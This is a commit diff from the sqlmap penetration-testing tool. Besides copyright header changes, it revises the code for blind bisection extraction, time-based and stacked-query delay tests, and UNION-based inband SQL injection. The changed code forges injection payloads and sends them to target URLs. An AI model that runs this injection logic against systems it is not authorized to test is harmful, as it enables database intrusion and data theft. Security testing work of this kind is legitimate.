Updated to sqlmap 0.7 release candidate 1

This commit is contained in:
Bernardo Damele 2009-04-22 11:48:07 +00:00
parent b997df740a
commit 8c0ac767f4
129 changed files with 8386 additions and 1388 deletions

View file

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View file

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View file

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@ -31,6 +31,7 @@ import traceback
from lib.core.agent import agent
from lib.core.common import dataToSessionFile
from lib.core.common import dataToStdout
from lib.core.common import getCharset
from lib.core.common import replaceNewlineTabs
from lib.core.data import conf
from lib.core.data import kb
@ -44,25 +45,27 @@ from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
def bisection(payload, expression, length=None):
def bisection(payload, expression, length=None, charsetType=None):
"""
Bisection algorithm that can be used to perform blind SQL injection
on an affected host
"""
partialValue = ""
finalValue = ""
partialValue = ""
finalValue = ""
asciiTbl = getCharset(charsetType)
if kb.dbmsDetected:
_, _, _, _, _, fieldToCastStr = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionUnescaped = unescaper.unescape(expressionReplaced)
_, _, _, _, _, _, fieldToCastStr = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionUnescaped = unescaper.unescape(expressionReplaced)
else:
expressionUnescaped = unescaper.unescape(expression)
expressionUnescaped = unescaper.unescape(expression)
infoMsg = "query: %s" % expressionUnescaped
logger.info(infoMsg)
debugMsg = "query: %s" % expressionUnescaped
logger.debug(debugMsg)
if length and not isinstance(length, int) and length.isdigit():
length = int(length)
@ -91,23 +94,25 @@ def bisection(payload, expression, length=None):
queriesCount = [0] # As list to deal with nested scoping rules
def getChar(idx):
maxValue = 127
def getChar(idx, asciiTbl=asciiTbl):
maxValue = asciiTbl[len(asciiTbl)-1]
minValue = 0
while (maxValue - minValue) != 1:
while len(asciiTbl) != 1:
queriesCount[0] += 1
limit = ((maxValue + minValue) / 2)
forgedPayload = payload % (expressionUnescaped, idx, limit)
position = (len(asciiTbl) / 2)
posValue = asciiTbl[position]
forgedPayload = payload % (expressionUnescaped, idx, posValue)
result = Request.queryPage(forgedPayload)
if result == True:
minValue = limit
minValue = posValue
asciiTbl = asciiTbl[position:]
else:
maxValue = limit
maxValue = posValue
asciiTbl = asciiTbl[:position]
if (maxValue - minValue) == 1:
# NOTE: this first condition should never occur
if len(asciiTbl) == 1:
if maxValue == 1:
return None
else:
@ -148,7 +153,7 @@ def bisection(payload, expression, length=None):
idxlock.release()
charStart = time.time()
val = getChar(curidx)
val = getChar(curidx)
if val == None:
raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length)
@ -226,9 +231,9 @@ def bisection(payload, expression, length=None):
index = 0
while True:
index += 1
index += 1
charStart = time.time()
val = getChar(index)
val = getChar(index, asciiTbl)
if val == None:
break

View file

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@ -27,10 +27,10 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import time
from lib.core.agent import agent
from lib.core.common import getDelayQuery
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.settings import SECONDS
from lib.request import inject
from lib.request.connect import Connect as Request
@ -40,8 +40,7 @@ def timeTest():
infoMsg += "'%s' with AND condition syntax" % kb.injParameter
logger.info(infoMsg)
timeQuery = queries[kb.dbms].timedelay % SECONDS
timeQuery = getDelayQuery()
query = agent.prefixQuery(" AND %s" % timeQuery)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
@ -49,7 +48,7 @@ def timeTest():
_ = Request.queryPage(payload)
duration = int(time.time() - start)
if duration >= SECONDS:
if duration >= conf.timeSec:
infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
infoMsg += "based blind sql injection with AND condition syntax"
logger.info(infoMsg)
@ -69,7 +68,7 @@ def timeTest():
payload, _ = inject.goStacked(timeQuery)
duration = int(time.time() - start)
if duration >= SECONDS:
if duration >= conf.timeSec:
infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
infoMsg += "based blind sql injection with stacked query syntax"
logger.info(infoMsg)
@ -83,3 +82,11 @@ def timeTest():
kb.timeTest = False
return kb.timeTest
def timeUse(query):
start = time.time()
_, _ = inject.goStacked(query)
duration = int(time.time() - start)
return duration

View file

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View file

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View file

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@ -25,14 +25,103 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
from lib.core.agent import agent
from lib.core.common import randomStr
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.session import setUnion
from lib.core.unescaper import unescaper
from lib.parse.html import htmlParser
from lib.request.connect import Connect as Request
def __unionPosition(negative=False, falseCond=False):
if negative or falseCond:
negLogMsg = "partial (single entry)"
else:
negLogMsg = "full"
infoMsg = "confirming %s inband sql injection on parameter " % negLogMsg
infoMsg += "'%s'" % kb.injParameter
if negative:
infoMsg += " with negative parameter value"
elif falseCond:
infoMsg += " by appending a false condition after the parameter value"
logger.info(infoMsg)
# For each column of the table (# of NULL) perform a request using
# the UNION ALL SELECT statement to test it the target url is
# affected by an exploitable inband SQL injection vulnerability
for exprPosition in range(0, kb.unionCount):
# Prepare expression with delimiters
randQuery = randomStr()
randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
randQueryUnescaped = unescaper.unescape(randQueryProcessed)
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
payload = agent.payload(newValue=query, negative=negative, falseCond=falseCond)
# Perform the request
resultPage, _ = Request.queryPage(payload, content=True)
# We have to assure that the randQuery value is not within the
# HTML code of the result page because, for instance, it is there
# when the query is wrong and the back-end DBMS is Microsoft SQL
# server
htmlParsed = htmlParser(resultPage)
if randQuery in resultPage and not htmlParsed:
setUnion(position=exprPosition)
break
if isinstance(kb.unionPosition, int):
infoMsg = "the target url is affected by an exploitable "
infoMsg += "%s inband sql injection vulnerability" % negLogMsg
logger.info(infoMsg)
else:
warnMsg = "the target url is not affected by an exploitable "
warnMsg += "%s inband sql injection vulnerability" % negLogMsg
if negLogMsg == "partial":
warnMsg += ", sqlmap will retrieve the query output "
warnMsg += "through blind sql injection technique"
logger.warn(warnMsg)
def __unionConfirm():
# Confirm the inband SQL injection and get the exact column
# position
if not isinstance(kb.unionPosition, int):
__unionPosition()
# Assure that the above function found the exploitable full inband
# SQL injection position
if not isinstance(kb.unionPosition, int):
__unionPosition(falseCond=True)
# Assure that the above function found the exploitable partial
# (single entry) inband SQL injection position by appending
# a false condition after the parameter value
if not isinstance(kb.unionPosition, int):
__unionPosition(negative=True)
# Assure that the above function found the exploitable partial
# (single entry) inband SQL injection position with negative
# parameter value
if not isinstance(kb.unionPosition, int):
return
else:
conf.paramNegative = True
else:
conf.paramFalseCond = True
def __forgeUserFriendlyValue(payload):
value = ""
@ -119,9 +208,9 @@ def unionTest():
else:
technique = "NULL bruteforcing"
logMsg = "testing inband sql injection on parameter "
logMsg += "'%s' with %s technique" % (kb.injParameter, technique)
logger.info(logMsg)
infoMsg = "testing inband sql injection on parameter "
infoMsg += "'%s' with %s technique" % (kb.injParameter, technique)
logger.info(infoMsg)
value = ""
columns = None
@ -138,9 +227,7 @@ def unionTest():
break
if kb.unionCount:
logMsg = "the target url could be affected by an "
logMsg += "inband sql injection vulnerability"
logger.info(logMsg)
__unionConfirm()
else:
warnMsg = "the target url is not affected by an "
warnMsg += "inband sql injection vulnerability"

View file

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@ -29,7 +29,6 @@ import time
from lib.core.agent import agent
from lib.core.common import parseUnionPage
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
@ -39,78 +38,15 @@ from lib.core.data import temp
from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.session import setUnion
from lib.core.unescaper import unescaper
from lib.parse.html import htmlParser
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.test import unionTest
from lib.utils.resume import resume
reqCount = 0
reqCount = 0
def __unionPosition(expression, negative=False):
global reqCount
if negative:
negLogMsg = "partial"
else:
negLogMsg = "full"
infoMsg = "confirming %s inband sql injection on parameter " % negLogMsg
infoMsg += "'%s'" % kb.injParameter
logger.info(infoMsg)
# For each column of the table (# of NULL) perform a request using
# the UNION ALL SELECT statement to test it the target url is
# affected by an exploitable inband SQL injection vulnerability
for exprPosition in range(0, kb.unionCount):
# Prepare expression with delimiters
randQuery = randomStr()
randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
randQueryUnescaped = unescaper.unescape(randQueryProcessed)
if len(randQueryUnescaped) > len(expression):
blankCount = len(randQueryUnescaped) - len(expression)
expression = (" " * blankCount) + expression
elif len(randQueryUnescaped) < len(expression):
blankCount = len(expression) - len(randQueryUnescaped)
randQueryUnescaped = (" " * blankCount) + randQueryUnescaped
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
payload = agent.payload(newValue=query, negative=negative)
# Perform the request
resultPage, _ = Request.queryPage(payload, content=True)
reqCount += 1
# We have to assure that the randQuery value is not within the
# HTML code of the result page because, for instance, it is there
# when the query is wrong and the back-end DBMS is Microsoft SQL
# server
htmlParsed = htmlParser(resultPage)
if randQuery in resultPage and not htmlParsed:
setUnion(position=exprPosition)
break
if isinstance(kb.unionPosition, int):
infoMsg = "the target url is affected by an exploitable "
infoMsg += "%s inband sql injection vulnerability" % negLogMsg
logger.info(infoMsg)
else:
warnMsg = "the target url is not affected by an exploitable "
warnMsg += "%s inband sql injection vulnerability" % negLogMsg
if negLogMsg == "partial":
warnMsg += ", sqlmap will retrieve the query output "
warnMsg += "through blind sql injection technique"
logger.warn(warnMsg)
def unionUse(expression, direct=False, unescape=True, resetCounter=False):
def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullChar="NULL", unpack=True):
"""
This function tests for an inband SQL injection on the target
url then call its subsidiary function to effectively perform an
@ -138,28 +74,11 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False):
# Prepare expression with delimiters
if unescape:
expression = agent.concatQuery(expression)
expression = agent.concatQuery(expression, unpack)
expression = unescaper.unescape(expression)
# Confirm the inband SQL injection and get the exact column
# position only once
if not isinstance(kb.unionPosition, int):
__unionPosition(expression)
# Assure that the above function found the exploitable full inband
# SQL injection position
if not isinstance(kb.unionPosition, int):
__unionPosition(expression, True)
# Assure that the above function found the exploitable partial
# inband SQL injection position
if not isinstance(kb.unionPosition, int):
return
else:
conf.paramNegative = True
if conf.paramNegative == True and direct == False:
_, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
if ( conf.paramNegative == True or conf.paramFalseCond == True ) and direct == False:
_, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
if len(expressionFieldsList) > 1:
infoMsg = "the SQL query provided has more than a field. "
@ -300,11 +219,11 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False):
else:
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(expression)
query = agent.forgeInbandQuery(expression, nullChar=nullChar)
payload = agent.payload(newValue=query)
infoMsg = "query: %s" % query
logger.info(infoMsg)
debugMsg = "query: %s" % query
logger.debug(debugMsg)
# Perform the request
resultPage, _ = Request.queryPage(payload, content=True)
@ -321,7 +240,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False):
duration = int(time.time() - start)
infoMsg = "performed %d queries in %d seconds" % (reqCount, duration)
logger.info(infoMsg)
debugMsg = "performed %d queries in %d seconds" % (reqCount, duration)
logger.debug(debugMsg)
return value

View file

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View file

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@ -26,24 +26,28 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import time
from lib.core.common import getDelayQuery
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.settings import SECONDS
from lib.core.session import setStacked
from lib.request import inject
def stackedTest():
if kb.stackedTest != None:
return kb.stackedTest
infoMsg = "testing stacked queries support on parameter "
infoMsg += "'%s'" % kb.injParameter
logger.info(infoMsg)
query = queries[kb.dbms].timedelay % SECONDS
start = time.time()
payload, _ = inject.goStacked(query)
duration = int(time.time() - start)
query = getDelayQuery()
start = time.time()
payload, _ = inject.goStacked(query)
duration = int(time.time() - start)
if duration >= SECONDS:
if duration >= conf.timeSec:
infoMsg = "the web application supports stacked queries "
infoMsg += "on parameter '%s'" % kb.injParameter
logger.info(infoMsg)
@ -57,4 +61,6 @@ def stackedTest():
kb.stackedTest = False
setStacked()
return kb.stackedTest